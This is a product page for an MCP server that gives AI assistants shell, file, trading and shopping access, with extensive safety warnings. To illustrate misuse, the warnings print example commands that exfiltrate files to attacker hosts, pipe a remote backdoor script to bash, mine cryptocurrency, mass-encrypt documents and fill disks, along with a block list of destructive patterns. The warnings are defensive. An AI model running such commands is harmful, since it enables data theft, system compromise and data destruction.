AI-Powered Automation

Shell MCP Server

Give Your AI Assistant the Power to Interact with Your Computer

A production-ready MCP (Model Context Protocol) server that enables AI assistants like Claude to execute shell commands, manage files, monitor systems, track stocks, automate shopping, and much more.

7 Built-in Tools
Sandbox Mode Available
Cross Platform

What You Can Do

  • Execute shell commands via AI
  • Manage files and directories
  • Monitor system resources
  • Track stock market prices
  • Automate online shopping
  • Control applications

How It Works

  1. Install and configure the server
  2. Connect to your AI assistant
  3. Chat naturally with your AI
  4. AI executes commands for you
  5. Get instant results

Who It's For

  • Developers & DevOps Engineers
  • System Administrators
  • Data Scientists & Analysts
  • Traders & Finance Enthusiasts
  • Productivity Enthusiasts

⚠️ Important Disclaimer & Safety Warning

πŸ›‘ READ THIS BEFORE USING

THIS SOFTWARE PROVIDES SHELL COMMAND EXECUTION CAPABILITIES TO AI ASSISTANTS. USE AT YOUR OWN RISK.

By using this MCP server, you acknowledge and accept full responsibility for:

  • βœ“ All commands executed by your AI assistant
  • βœ“ Any data loss, system damage, or security breaches that may occur
  • βœ“ Financial losses from automated trading or purchasing decisions
  • βœ“ Any unauthorized access or malicious use of your system
  • βœ“ Compliance with all applicable laws and terms of service

πŸ”΄ EXTREME DANGER: Unsandboxed Mode

Running this server WITHOUT sandbox mode gives your AI assistant UNRESTRICTED ACCESS to:

  • Your entire file system - Can read, modify, or delete ANY file
  • All system commands - Can execute ANY shell command
  • Network access - Can make external connections, send data
  • Process control - Can start, stop, or kill any process
  • Financial systems - Can execute trades if credentials accessible
  • Personal data - Can access emails, documents, passwords

WITHOUT SANDBOX_MODE=true, YOUR AI ASSISTANT HAS THE SAME POWER AS YOU AT YOUR KEYBOARD.

🟑 Potential Dangers Even With Sandbox Mode

Data Loss: AI might misunderstand and delete files
Financial Risk: Automated trades could execute incorrectly
System Instability: Commands could crash your system
Privacy Exposure: AI might read sensitive files
Malicious AI: Compromised or jailbroken AI could exploit access

🚨 How Your AI Agent Could Misuse This Server

Scenario 1: Data Exfiltration
curl -X POST https://malicious-site.com/upload \
  --data-binary @~/Documents/sensitive-data.pdf
Scenario 2: Cryptocurrency Mining
nohup ./cryptominer --wallet=attacker &
Scenario 3: Backdoor Installation
curl https://evil.com/backdoor.sh | bash
Scenario 4: Financial Fraud
python execute_trade.py --symbol=LOSS \
  --amount=ALL --action=SELL
Scenario 5: Ransomware
find ~/Documents -type f \
  -exec gpg --encrypt {} \;
Scenario 6: System Sabotage
dd if=/dev/zero of=~/bigfile.img \
  bs=1G count=100

βœ… How to Protect Yourself

1. Always Use Sandbox Mode
"SANDBOX_MODE": "true"
2. Limited Permissions

Never run as root/administrator

3. Network Isolation

Use Docker containers with no network

4. Review Commands

Ask AI to explain before executing

5. Restrict File Access

Use chroot or volume restrictions

6. Monitor & Audit

Enable DEBUG mode and review logs

7. Limit Financial Access

Use read-only API keys only

8. Regular Backups

Maintain offline backups

πŸ”’ Recommended Security Configurations

For Testing/Learning
{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "10000",
  "DEBUG": "true"
}
For Personal Use
{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "30000",
  "DEBUG": "false"
}
For Production

DO NOT USE without comprehensive security review, penetration testing, and incident response plan.

Final Warning: YOU are ultimately responsible for everything that happens on your system. When in doubt, use SANDBOX_MODE=true and manually review commands before execution.

Real-World Use Cases

See how Shell MCP Server can transform your daily workflow

Automated Project Setup

"Set up a new React project with TypeScript, install dependencies, initialize Git, and create a basic file structure."

Your AI assistant executes all commands, creates configuration files, and verifies the setupβ€”saving 15-20 minutes of repetitive work.

Code Analysis & Refactoring

"Find all TODO comments in my project, categorize them by priority, and create a markdown report."

AI searches your codebase and generates comprehensive reports.

Development Environment Debugging

"Check why my Docker container isn't starting. Look at the logs, verify port availability, and check system resources."

AI investigates issues by running diagnostic commands and interpreting results.

System Health Monitoring

"Give me a comprehensive health check: CPU usage, memory stats, disk space, and any processes using excessive resources."

Get instant, interpreted system diagnostics without manually running multiple commands.

Log Analysis

"Check the last 100 lines of the system log for errors, summarize the issues, and suggest solutions."

AI not only retrieves logs but also analyzes patterns and provides actionable insights.

Automated Maintenance

"Clean up old Docker images, remove unused npm packages globally, and clear system cache files older than 30 days."

Execute complex cleanup routines with a single natural language request.

Data Pipeline Automation

"Download the CSV from this URL, convert it to JSON, remove duplicates, and save it with today's date."

Chain multiple data processing commands with AI understanding the context.

Batch File Processing

"Find all .csv files in the data folder, get their row counts, and create a summary report."

Automate repetitive data exploration tasks.

Stock Market Monitoring

"Check the current price of Apple, Microsoft, and Tesla stocks. Alert me if any drop below their 50-day moving average."

AI executes scripts to fetch real-time stock data from APIs, analyze trends, and monitor your portfolio automatically.

Portfolio Tracking

"I bought 10 shares of NVDA at $875. Track its performance, calculate my current profit/loss, and notify me if it gains or loses more than 5%."

AI maintains a portfolio tracker with real-time data and intelligent summaries.

Trading Signals

"Every morning at 9:30 AM, analyze the top 10 tech stocks and create a trading signals report with recommendations."

Set up automated analysis with technical indicators and actionable insights.

Smart Browser Automation

"Open Chrome, navigate to my company's dashboard, take a screenshot, and save it to my reports folder."

AI automates browser tasks, scrapes data, and captures information.

Application Management

"Launch Spotify, play my 'Focus' playlist, then open VS Code with my current project."

Orchestrate your entire work environment with one natural language request.

Amazon Shopping Assistant

"Search Amazon for the best-rated wireless headphones under $200, compare the top 5 options, and create a comparison table."

AI runs scripts to search products, compare prices, analyze reviews, and track deals.

Price Monitoring

"Monitor the price of the Sony A7 IV camera across Amazon, B&H, and Adorama. Check every 6 hours and alert me when it drops below $2,300."

Set up automated price tracking with scheduled checks and notifications.

How to Use with AI Assistants

Claude Desktop Setup

Option 1: Local Installation (Recommended for Development)

1
Install the Server
git clone https://github.com/luciVuc/shell-mcp.git
cd shell-mcp
npm install
npm run build
2
Configure Claude Desktop

Edit your Claude Desktop config file:

  • macOS/Linux: ~/Library/Application Support/Claude/claude_desktop_config.json
  • Windows: %APPDATA%\Claude\claude_desktop_config.json

Configuration (development):

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/absolute/path/to/shell-mcp/dist/server.js"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Configuration (production with sandbox):

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/absolute/path/to/shell-mcp/dist/server.js"],
      "env": {
        "SANDBOX_MODE": "true",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Option 2: Using npx (No Installation Required)

Run shell-mcp directly from npm without cloning or building the project:

1
Configure Claude Desktop

Edit your Claude Desktop config file as above, and add this configuration:

Quick start (development):

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Production use (with sandbox):

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "true",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Note: The first time you run this, npx will download and cache the package. Subsequent runs will use the cached version for faster startup.

Getting Started

1
Restart Claude Desktop

Completely quit and restart the application.

2
Start Using!

Try these prompts:

"Can you check my system's CPU and memory usage?"
"Create a backup script that archives my projects folder."
"Find all JavaScript files modified in the last week."

Enabling Advanced Features

Stock Market APIs

Alpha Vantage (Free tier): 500 requests/day

export ALPHA_VANTAGE_API_KEY="your_key_here"
Get Free API Key β†’

Browser Automation

Install Puppeteer or Playwright for web scraping:

npm install -g puppeteer
# or
npm install -g playwright

Amazon Shopping

Use Amazon Product Advertising API or web scraping:

pip install beautifulsoup4 requests

Sign up at Amazon Associates for API access

Application Control

Commands vary by platform:

# macOS
open -a "Google Chrome" https://example.com

# Windows
start chrome https://example.com

# Linux
xdg-open https://example.com

Example Conversations

See real interactions with your AI assistant

System Health Check

You: "Can you check my system's health and let me know if anything needs attention?"
AI Assistant:

Your system looks healthy overall:

  • CPU: 8 cores, currently at 23% usage
  • Memory: 16GB total, 8.2GB free (51% available)
  • Disk: 500GB total, 127GB free (25% - you might want to clean up soon)
  • Uptime: 5 days, 3 hours

I noticed your Docker Desktop is using 3.2GB of RAM. Would you like me to check if there are any unused containers we can remove?

Stock Market Monitoring

You: "I'm interested in tech stocks. Can you check current prices for Apple, Microsoft, and NVIDIA?"
AI Assistant:
AAPL (Apple Inc.) - $178.45 (+2.3%)
  • 50-day MA: $172.30 (bullish signal)
  • RSI: 58 (neutral)
  • Signal: βœ… MODERATE BUY
MSFT (Microsoft) - $412.80 (-0.8%)
  • RSI: 52 (neutral)
  • Signal: ⏸️ HOLD/WATCH
NVDA (NVIDIA) - $892.30 (+4.7%)
  • RSI: 71 (overbought)
  • Signal: ⚠️ OVEREXTENDED

Best Opportunity: MSFT looks like the best entry point if it dips to $405-408 range.

Amazon Shopping Assistant

You: "I need wireless noise-canceling headphones under $300. Help me find the best options."
AI Assistant:

Here are the top 5 options from Amazon:

1. Sony WH-1000XM5 - $279.99 ⭐⭐⭐⭐⭐
  • Rating: 4.7/5 (18,432 reviews)
  • Features: Industry-leading ANC, 30hr battery
  • Price: $20 below average
  • βœ… BEST OVERALL
2. Bose QuietComfort 45 - $249.00 ⭐⭐⭐⭐⭐
  • Rating: 4.6/5 (12,891 reviews)
  • All-time low price!
  • πŸ’° BEST VALUE

My Recommendation: Bose QC45 at $249 is an amazing deal right now!

Troubleshooting

You: "My web server won't start on port 3000. Can you help?"
AI Assistant:

I found the issue! Port 3000 is already in use:

Process using port 3000:
  • PID: 8472
  • Command: node old-server.js
  • Started: 3 days ago

This appears to be an old server. Options:

  1. Kill this process (I can do this for you)
  2. Change your new server to port 3001
  3. Check if you still need the old server

What would you like to do?

Tips for Best Results

Be Specific

❌ "Check my files"
βœ… "List all PDF files in my Documents folder modified in the last week"

Ask for Summaries

"Get my system info and tell me if anything looks concerning"
"Check the last 50 lines of the server log and summarize any errors"

Multi-Step Actions

"Find all Node.js projects, check which ones need dependency updates, and create a summary report"

Use Natural Language

You don't need to know command syntax! Say "find big files" instead of trying to construct find commands. Your AI will translate.

Safety Tips

Start with Sandbox Mode

"SANDBOX_MODE": "true"

Adds extra safety checks while you get comfortable.

Review Before Destructive Actions

Your AI will typically ask before deleting files. You can always ask "show me what command you're about to run"

Monitor Resource Usage

Ask your AI to check system resources if things slow down: "What's using the most memory?"

What to Try First

  1. "Give me a system health overview"
  2. "Help me organize my Downloads folder"
  3. "Analyze my project at ~/code/myapp"
  4. "Check if there are any errors in my application logs"
  5. "Show me what's using the most CPU"

Available Tools

7 powerful tools your AI assistant can use

exec

Execute arbitrary shell commands

Input:

  • command (string) - The shell command to execute

Example:

{
  "name": "exec",
  "arguments": {
    "command": "echo 'Hello World'"
  }
}

readFile

Read the contents of a file

Input:

  • path (string) - Path to the file

writeFile

Write content to a file

Input:

  • path (string) - Path to the file
  • content (string) - Content to write

deleteFile

Delete a file

Input:

  • path (string) - Path to the file

listDir

List contents of a directory

Input:

  • path (string) - Path to the directory

getSystemInfo

Get system information (CPU, memory, disk, OS)

Input:

  • None - This tool takes no parameters

Returns:

Platform, OS type, CPU cores/model, memory stats, disk usage, uptime, and hostname

listProcesses

List running processes, optionally filtered

Input:

  • filter (string, optional) - Filter pattern for process names

Security Considerations

⚠️ See Important Disclaimer & Safety Warning section above for comprehensive security information.

Built-in Security Features

Sandboxed Mode: Enable SANDBOX_MODE=true for additional safety warnings and validation
Command Validation: Built-in blocking of extremely dangerous command patterns
Timeout Protection: All commands have timeout limits (default: 30 seconds)
Output Size Limits: Command output capped at 10MB to prevent memory exhaustion
Graceful Error Handling: Prevents crashes from malformed commands

Blocked Command Patterns

rm -rf /

Recursive deletion of the root filesystem - would destroy all files

mkfs

Filesystem formatting - could destroy entire partitions

dd if=

Low-level disk writing - could overwrite critical system data

> /dev/

Direct device manipulation - can corrupt storage devices

⚠️ What Is NOT Protected

These built-in protections are MINIMAL and do NOT prevent:

  • Reading sensitive files (cat ~/.ssh/id_rsa)
  • Deleting specific important files (rm -rf ~/Documents)
  • Network exfiltration (curl -X POST attacker.com --data @secret.txt)
  • Installing malware (curl malware.com/script.sh | bash)
  • Resource exhaustion (fork bombs, disk filling)
  • API abuse (excessive calls to paid services)
  • Unauthorized purchases or financial transactions
  • Social engineering attacks on the AI
  • Prompt injection vulnerabilities

Recommendations for Production Use

Run in Isolated Environment

Use Docker containers with minimal permissions, network policies, and read-only file system mounts

Implement Access Control

Deploy behind authentication/authorization, use RBAC, implement command whitelisting

Monitor and Audit

Enable comprehensive logging, set up alerting, review execution history, implement anomaly detection

Defense in Depth

Combine multiple security layers, assume breach mentality, implement least privilege, regular security assessments

Security Is Your Responsibility

This MCP server grants shell access to AI assistants. The security of your system depends on how you configure it, what permissions you grant, how you monitor its use, the security of your AI assistant, and your understanding of the risks.

No amount of built-in security can protect against all threats. Use with caution and appropriate safeguards.

For Developers

Want to contribute to the project, report bugs, or add new features?

GitHub Repository

Access the source code, documentation, and contribute to the project.

View on GitHub β†’

Contributing

Read our contribution guidelines and learn how to submit pull requests.

Contribution Guide β†’

Report Issues

Found a bug or have a feature request? Let us know on GitHub.

Open Issue β†’

Technology Stack

TypeScript Node.js MCP SDK v1.27.1 Stdio Transport ES Modules